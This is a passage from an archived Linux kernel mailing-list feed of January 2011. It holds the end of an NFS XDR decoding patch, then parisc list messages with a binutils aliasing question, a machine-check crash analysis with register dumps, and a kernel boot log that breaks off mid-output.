+	xdr->page_ptr = &xdr->buf->pages[pgnr];
+	kaddr = page_address(*xdr->page_ptr);
+
+	pgoff = base & ~PAGE_MASK;
+	xdr->p = (__be32*)(kaddr + pgoff);
+
+	pgend = pgoff + len;
+	if (pgend > PAGE_SIZE)
+		pgend = PAGE_SIZE;
+	xdr->end = (__be32*)(kaddr + pgend);
+	xdr->iov = NULL;
+	return 0;
+}
+
+static void xdr_set_next_page(struct xdr_stream *xdr)
+{
+	unsigned int newbase;
+
+	newbase = (1 + xdr->page_ptr - xdr->buf->pages) << PAGE_SHIFT;
+	newbase -= xdr->buf->page_base;
+
+	if (xdr_set_page_base(xdr, newbase, PAGE_SIZE) < 0)
+		xdr_set_iov(xdr, xdr->buf->tail, NULL, xdr->buf->len);
+}
+
+static bool xdr_set_next_buffer(struct xdr_stream *xdr)
+{
+	if (xdr->page_ptr != NULL)
+		xdr_set_next_page(xdr);
+	else if (xdr->iov == xdr->buf->head) {
+		if (xdr_set_page_base(xdr, 0, PAGE_SIZE) < 0)
+			xdr_set_iov(xdr, xdr->buf->tail, NULL, xdr->buf->len);
+	}
+	return xdr->p != xdr->end;
+}
+
 /**
  * xdr_init_decode - Initialize an xdr_stream for decoding data.
  * @xdr: pointer to xdr_stream struct
@@ -560,41 +628,67 @@ EXPORT_SYMBOL_GPL(xdr_write_pages);
  */
 void xdr_init_decode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p)
 {
-	struct kvec *iov = buf->head;
-	unsigned int len = iov->iov_len;
-
-	if (len > buf->len)
-		len = buf->len;
 	xdr->buf = buf;
-	xdr->iov = iov;
-	xdr->p = p;
-	xdr->end = (__be32 *)((char *)iov->iov_base + len);
+	xdr->scratch.iov_base = NULL;
+	xdr->scratch.iov_len = 0;
+	if (buf->head[0].iov_len != 0)
+		xdr_set_iov(xdr, buf->head, p, buf->len);
+	else if (buf->page_len != 0)
+		xdr_set_page_base(xdr, 0, buf->len);
 }
 EXPORT_SYMBOL_GPL(xdr_init_decode);
 
-/**
- * xdr_inline_peek - Allow read-ahead in the XDR data stream
- * @xdr: pointer to xdr_stream struct
- * @nbytes: number of bytes of data to decode
- *
- * Check if the input buffer is long enough to enable us to decode
- * 'nbytes' more bytes of data starting at the current position.
- * If so return the current pointer without updating the current
- * pointer position.
- */
-__be32 * xdr_inline_peek(struct xdr_stream *xdr, size_t nbytes)
+static __be32 * __xdr_inline_decode(struct xdr_stream *xdr, size_t nbytes)
 {
 	__be32 *p = xdr->p;
 	__be32 *q = p + XDR_QUADLEN(nbytes);
 
 	if (unlikely(q > xdr->end || q < p))
 		return NULL;
+	xdr->p = q;
 	return p;
 }
-EXPORT_SYMBOL_GPL(xdr_inline_peek);
 
 /**
- * xdr_inline_decode - Retrieve non-page XDR data to decode
+ * xdr_set_scratch_buffer - Attach a scratch buffer for decoding data.
+ * @xdr: pointer to xdr_stream struct
+ * @buf: pointer to an empty buffer
+ * @buflen: size of 'buf'
+ *
+ * The scratch buffer is used when decoding from an array of pages.
+ * If an xdr_inline_decode() call spans across page boundaries, then
+ * we copy the data into the scratch buffer in order to allow linear
+ * access.
+ */
+void xdr_set_scratch_buffer(struct xdr_stream *xdr, void *buf, size_t buflen)
+{
+	xdr->scratch.iov_base = buf;
+	xdr->scratch.iov_len = buflen;
+}
+EXPORT_SYMBOL_GPL(xdr_set_scratch_buffer);
+
+static __be32 *xdr_copy_to_scratch(struct xdr_stream *xdr, size_t nbytes)
+{
+	__be32 *p;
+	void *cpdest = xdr->scratch.iov_base;
+	size_t cplen = (char *)xdr->end - (char *)xdr->p;
+
+	if (nbytes > xdr->scratch.iov_len)
+		return NULL;
+	memcpy(cpdest, xdr->p, cplen);
+	cpdest += cplen;
+	nbytes -= cplen;
+	if (!xdr_set_next_buffer(xdr))
+		return NULL;
+	p = __xdr_inline_decode(xdr, nbytes);
+	if (p == NULL)
+		return NULL;
+	memcpy(cpdest, p, nbytes);
+	return xdr->scratch.iov_base;
+}
+
+/**
+ * xdr_inline_decode - Retrieve XDR data to decode
  * @xdr: pointer to xdr_stream struct
  * @nbytes: number of bytes of data to decode
  *
@@ -605,13 +699,16 @@ EXPORT_SYMBOL_GPL(xdr_inline_peek);
  */
 __be32 * xdr_inline_decode(struct xdr_stream *xdr, size_t nbytes)
 {
-	__be32 *p = xdr->p;
-	__be32 *q = p + XDR_QUADLEN(nbytes);
+	__be32 *p;
 
-	if (unlikely(q > xdr->end || q < p))
+	if (nbytes == 0)
+		return xdr->p;
+	if (xdr->p == xdr->end && !xdr_set_next_buffer(xdr))
 		return NULL;
-	xdr->p = q;
-	return p;
+	p = __xdr_inline_decode(xdr, nbytes);
+	if (p != NULL)
+		return p;
+	return xdr_copy_to_scratch(xdr, nbytes);
 }
 EXPORT_SYMBOL_GPL(xdr_inline_decode);
 
@@ -671,16 +768,12 @@ EXPORT_SYMBOL_GPL(xdr_read_pages);
  */
 void xdr_enter_page(struct xdr_stream *xdr, unsigned int len)
 {
-	char * kaddr = page_address(xdr->buf->pages[0]);
 	xdr_read_pages(xdr, len);
 	/*
 	 * Position current pointer at beginning of tail, and
 	 * set remaining message length.
 	 */
-	if (len > PAGE_CACHE_SIZE - xdr->buf->page_base)
-		len = PAGE_CACHE_SIZE - xdr->buf->page_base;
-	xdr->p = (__be32 *)(kaddr + xdr->buf->page_base);
-	xdr->end = (__be32 *)((char *)xdr->p + len);
+	xdr_set_page_base(xdr, 0, len);
 }
 EXPORT_SYMBOL_GPL(xdr_enter_page);
 
-- 
1.7.3.4



-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com


From - Thu Nov 08 21:06:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Sun, 9 Jan 2011 16:27:54 -0500
Organization: nrc.ca
Lines: 20
Approved: news@gmane.org
Message-ID: <20110109212754.GA29160@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site> <20101229042346.GA973@hiauly1.hia.nrc.ca> <1293634281.2803.4.camel@fuzzy> <20101230155640.GA7058@hiauly1.hia.nrc.ca> <20101230160944.GA7360@hiauly1.hia.nrc.ca> <20110101183108.GA19035@hiauly1.hia.nrc.ca> <20110105034922.GA4120@hiauly1.hia.nrc.ca> <AANLkTikC_1OGzzUkFpiCGx+F=29E9BZnyzU8xL0V-JU0@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294608485 17831 80.91.229.12 (9 Jan 2011 21:28:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 9 Jan 2011 21:28:05 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 09 22:28:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pc2nu-0005Ia-0c
	for glpp-linux-parisc@lo.gmane.org; Sun, 09 Jan 2011 22:27:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751884Ab1AIV15 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Jan 2011 16:27:57 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2621 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751752Ab1AIV15 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Jan 2011 16:27:57 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7CBEE4FB2; Sun,  9 Jan 2011 16:27:55 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <AANLkTikC_1OGzzUkFpiCGx+F=29E9BZnyzU8xL0V-JU0@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3358
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3358>

I filed a binutils bug report for this problem:
http://sourceware.org/bugzilla/show_bug.cgi?id=12376

However, I now think the problem can't be fixed reliably by a change
to binutils.  See comments #2 and #3 in the bug report.

James, would using different file descriptors for the mmap'd PT_LOAD
segments in an executable result in different pages being used for
"code" and "data" in the overlap region of the executable file, and
thereby avoid the inequivalent aliases?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: flush pages through tmpalias space
Date: Sun, 9 Jan 2011 16:52:07 -0500
Organization: nrc.ca
Lines: 186
Approved: news@gmane.org
Message-ID: <20110109215207.GA29305@hiauly1.hia.nrc.ca>
References: <1293034931.3019.8.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="G4iJoqBmSsgzjUCe"
X-Trace: dough.gmane.org 1294609940 24416 80.91.229.12 (9 Jan 2011 21:52:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 9 Jan 2011 21:52:20 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 09 22:52:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pc3BL-0005y2-Mi
	for glpp-linux-parisc@lo.gmane.org; Sun, 09 Jan 2011 22:52:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752023Ab1AIVwL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Jan 2011 16:52:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2625 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751156Ab1AIVwK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Jan 2011 16:52:10 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6B8814DF2; Sun,  9 Jan 2011 16:52:08 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1293034931.3019.8.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3359>


--G4iJoqBmSsgzjUCe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, 22 Dec 2010, James Bottomley wrote:

> The kernel has an 8M tmpailas space (originally designed for copying
> and clearing pages but now only used for clearing).  The idea is
> to place zeros into the cache above a physical page rather than into
> the physical page and flush the cache, because often the zeros end up
> being replaced quickly anyway.
> 
> We can also use the tmpalias space for flushing a page.  The difference
> here is that we have to do tmpalias processing in the non access data and
> instruction traps.  The principle is the same: as long as we know the physical
> address and have a virtual address congruent to the real one, the flush will
> be effective.
> 
> In order to use the tmpalias space, the icache miss path has to be enhanced to
> check for the alias region to make the fic instruction effective.

Since I began testing this change, I have started seeing problems with the
console input on gsyprf11 and my rp3440.  If I HUP getty, the console works
for awhile and then stops working again.  Suspect the "INEQIVALENT ALIAS"
messages somehow kill the console.  I get a lot of these doing make check
for GCC from the tests that intentionally generate a segv to test exception
support.

I have also had at least one console related HPMC.  Analysis is attached.
I don't fully understand the actual cause of the HPMC (buffer overrun?).
The kernel was built with GCC 4.5.3.  The faulting instruction appears
to have the base and index interchanged, although this shouldn't affect
linux.  I thought this issue was fixed as a fair bit of work on this was
done in the middle-end.

I have to say that gsyprf11 running a SMP kernel built with 4.5.3 is
more stable with your change than it has been for a long time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--G4iJoqBmSsgzjUCe
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="hpmc-jeb.txt"

Timestamp =   Mon Jan  3 08:35:03 GMT 2011    (20:11:01:03:08:35:03)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
     0xe800035c00e00000 0x000000004033fde8
     0x57000f7300e00000 0x8040004000000000
     0x5600100b00e00000 0x0000000000000194
     0x5600106400e00000 0xfffffff0f0435110


General Registers 0 - 31
00-03  0000000000000000  0000000040530a90  00000000403439ec  0000000040530b40
04-07  0000000040668a80  000000004061bd60  0000000000000000  0000000040530a60
08-11  0000000000000001  0000000040534080  0000000040530988  0000000000200200
12-15  0000000040677280  0000000040534100  00000000405fe0e0  00000000405fe4e0
16-19  00000000405fe8e0  00000000405fece0  0000000000000001  0000000040530988
20-23  0000000000000000  ffffffffffffffff  00000000405d7110  8000000000000000
24-27  0000000102208072  0000000000000001  000000004061bd60  0000000040668a80
28-31  0000000004082000  0000000040530b10  0000000040530b80  0000000000000000

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000b12  0000000000000000  00000000000000c0  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000103000  ffe0000000000000
16-19  00006827228e3750  0000000000000000  000000004033fde8  000000000f3c001c
20-23  00000000a607ffd0  0000000014082001  000000ff0804ff0f  0000000000000000
24-27  00000000005bd000  000000003ce22000  fffdffffffdfffef  0000000040000b80
28-31  0000000040000b80  ffffffffffffff7f  0000000040530000  886904b488140042

Space Registers 0 - 7
00-03  00000000002c4800  0000000000000000  0000000000000000  00000000002c4800
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000004033fdec
Check Type                   = 0x20000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x002c4800
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  000f000000000000  0000000000000001  00000000406bd000  0000000040688000
08-11  00000000406bd000  0000000040668a80  0000000000000000  0000000040668a80
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  000000000000000f
24-27  0000000000000000  0000000000000000  0000000000000000  ffffffffc0000000
28-31  000000000000002f  00000000405651cc  0000000000000001  0000000000000001

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8040004000000000
SAL Timestamp                = 0x000000004d218a37
System Firmware Rev.         = 0x00000ba20000121a
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3112022000002008
MIB_STAT                     = 0x0040000000200000
MIB_LOG1                     = 0x0000000000555500
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0x808800007fffbfd8
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x00000000000000c0
MIB_RSLOG1                   = 0x0000000000000004
MIB_RSLOG2                   = 0x0000010000000000
MIB_RQLOG                    = 0x02921405fffe1510
MIB_REQLOGa                  = 0x8000000000000200
MIB_REQLOGb                  = 0x01000aa400000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:

000000004033fdc8 <mem_serial_in>:
    4033fdc8:   08 03 02 41     copy r3,r1
    4033fdcc:   08 1e 02 43     copy sp,r3
    4033fdd0:   73 c1 00 88     std,ma r1,40(sp)
    4033fdd4:   43 5f 00 92     ldb 49(r26),r31
    4033fdd8:   53 5c 00 20     ldd 10(r26),ret0
    4033fddc:   01 7f 18 c0     mtsarcm r31
    4033fde0:   d7 39 00 00     depw,z r25,sar,32,r25
    4033fde4:   db 39 0f e0     extrd,s r25,63,32,r25
==> 4033fde8:   0f 3c 00 1c     ldb ret0(r25),ret0
    4033fdec:   34 7e 00 80     ldo 40(r3),sp
    4033fdf0:   e8 40 d0 00     bve (rp)
    4033fdf4:   53 c3 3f 8d     ldd,mb -40(sp),r3

r25 = 0000000000000001
r31 = 0000000000000000
ret0= 0000000004082000
rp  = 00000000403439ec

drivers/serial/8250.c:

static unsigned int mem_serial_in(struct uart_port *p, int offset)
{
        offset = map_8250_in_reg(p, offset) << p->regshift;
	return readb(p->membase + offset);
}

It appears the base and offset are interchanged in ldb.

0000000040343818 <serial8250_backup_timeout>:
    40343818:   08 03 02 41     copy r3,r1
    4034381c:   0f c2 12 c1     std rp,-10(sp)
    ...
    403439d0:   08 1b 02 44     copy dp,r4
    403439d4:   34 19 00 02     ldi 1,r25
    403439d8:   53 5c 00 30     ldd 18(r26),ret0
    403439dc:   37 dd 3f a1     ldo -30(sp),ret1
    403439e0:   53 82 00 20     ldd 10(ret0),rp
    403439e4:   e8 40 f0 00     bve,l (rp),rp
    403439e8:   53 9b 00 30     ldd 18(ret0),dp
==> 403439ec:   08 04 02 5b     copy r4,dp
    403439f0:   08 1c 02 46     copy ret0,r6


--G4iJoqBmSsgzjUCe--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: WARNING: Out of order unwind entry!
Date: Mon, 10 Jan 2011 10:25:31 +0200 (EET)
Lines: 23
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1101101019020.27086@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1294649307 3780 80.91.229.12 (10 Jan 2011 08:48:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 08:48:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 10 09:48:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcDQL-000372-RC
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Jan 2011 09:48:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751565Ab1AJIsV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jan 2011 03:48:21 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:36438 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751393Ab1AJIsU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jan 2011 03:48:20 -0500
X-Greylist: delayed 1366 seconds by postgrey-1.27 at vger.kernel.org; Mon, 10 Jan 2011 03:48:20 EST
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 7FA8B73D4D8
	for <linux-parisc@vger.kernel.org>; Mon, 10 Jan 2011 10:25:31 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 5D108DAF81; Mon, 10 Jan 2011 10:25:31 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 4D861DAF80
	for <linux-parisc@vger.kernel.org>; Mon, 10 Jan 2011 10:25:31 +0200 (EET)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3360>

I'm trying the newest kernel (2.6.37+git) on 64-bit parisc after a long 
pause. The good news is that PCI resource allocatrion problem with tulip 
(that was biting me at about 2.6.30-31 timeframe) has been fixed.

Generally it seems to run good but I get a couple of warnings in dmesg. 
The first is a bunch of warnings about out of order unwind entries:

[    0.000000] unwind_init: start = 0x4050f000, end = 0x4053cef0, entries = 11759
[    0.000000] WARNING: Out of order unwind entry! 0000000040510720 and 0000000040510730
[    0.000000] WARNING: Out of order unwind entry! 0000000040510730 and 0000000040510740
[    0.000000] WARNING: Out of order unwind entry! 0000000040511330 and 0000000040511340
[    0.000000] WARNING: Out of order unwind entry! 0000000040511340 and 0000000040511350

Is this report any good or should I provide vmlinux or some other debug 
output? Or if it is known anyway then please just ignore my report.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: IRQ handler type mismatches
Date: Mon, 10 Jan 2011 10:28:49 +0200 (EET)
Lines: 330
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1101101025340.27086@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1294649491 4647 80.91.229.12 (10 Jan 2011 08:51:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 10 Jan 2011 08:51:31 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 10 09:51:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PcDTI-00047A-PH
	for glpp-linux-parisc@lo.gmane.org; Mon, 10 Jan 2011 09:51:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752338Ab1AJIvY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 10 Jan 2011 03:51:24 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:49908 "EHLO smtp1.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751677Ab1AJIvX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 10 Jan 2011 03:51:23 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp1.it.da.ut.ee (Postfix) with ESMTP id 03D9D6E4BBC
	for <linux-parisc@vger.kernel.org>; Mon, 10 Jan 2011 10:28:50 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id D7010DAF81; Mon, 10 Jan 2011 10:28:49 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id C3BF9DAF80
	for <linux-parisc@vger.kernel.org>; Mon, 10 Jan 2011 10:28:49 +0200 (EET)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3361>

Hello,

I'm tring 2.6.37 and 2.6.37+git on SMP L1000 64-bit. I'm getting IRQ 
handler type mismatch for IRQs 64 and 65 on bootup. 2.6.37 crashed 
aptitude (maybe unrelated), 2.6.37+git as of 2011-01-09 has worked fine 
on two tries.

Full dmesg:
[    0.000000] Linux version 2.6.37-03737-g0c21e3a (mroos@hernes) (gcc version 4.4.5 (GCC) ) #1 SMP Sun Jan 9 18:47:10 EET 2011
[    0.000000] unwind_init: start = 0x4050f000, end = 0x4053cef0, entries = 11759
[    0.000000] WARNING: Out of order unwind entry! 0000000040510720 and 0000000040510730
[    0.000000] WARNING: Out of order unwind entry! 0000000040510730 and 0000000040510740
[    0.000000] WARNING: Out of order unwind entry! 0000000040511330 and 0000000040511340
[    0.000000] WARNING: Out of order unwind entry! 0000000040511340 and 0000000040511350
[    0.000000] FP[0] enabled: Rev 1 Model 16
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 17 rev 8 (0x00000228)
[    0.000000] capabilities 0x1
[    0.000000] model 9000/800/L1000-44
[    0.000000] Total Memory: 3072 MB
[    0.000000] On node 0 totalpages: 786432
[    0.000000] free_area_init_node: node 0, pgdat 40554700, node_mem_map 40c25000
[    0.000000]   Normal zone: 10752 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 775680 pages, LIFO batch:31
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000043650000 s12032 r8192 d20736 u40960
[    0.000000] pcpu-alloc: s12032 r8192 d20736 u40960 alloc=10*4096
[    0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [0] 4 [0] 5 [0] 6 [0] 7 
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 775680
[    0.000000] Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.37-03737-g0c21e3a
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Memory: 3083708k/3145728k available (3503k kernel code, 62020k reserved, 1476k data, 172k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
[    0.000000]       .init : 0x00000000406d4000 - 0x00000000406ff000   ( 172 kB)
[    0.000000]       .data : 0x000000004046bf10 - 0x00000000405dd200   (1476 kB)
[    0.000000]       .text : 0x0000000040100000 - 0x000000004046bf10   (3503 kB)
[    0.000000] SLUB: Genslabs=11, HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	RCU-based detection of stalled CPUs is disabled.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.130000] Calibrating delay loop... 878.18 BogoMIPS (lpj=4390912)
[    0.400000] pid_max: default: 32768 minimum: 301
[    0.400000] Mount-cache hash table entries: 256
[    0.430000] Brought up 1 CPUs
[    0.440000] NET: Registered protocol family 16
[    0.440000] Searching for devices...
[    0.910000] Found devices:
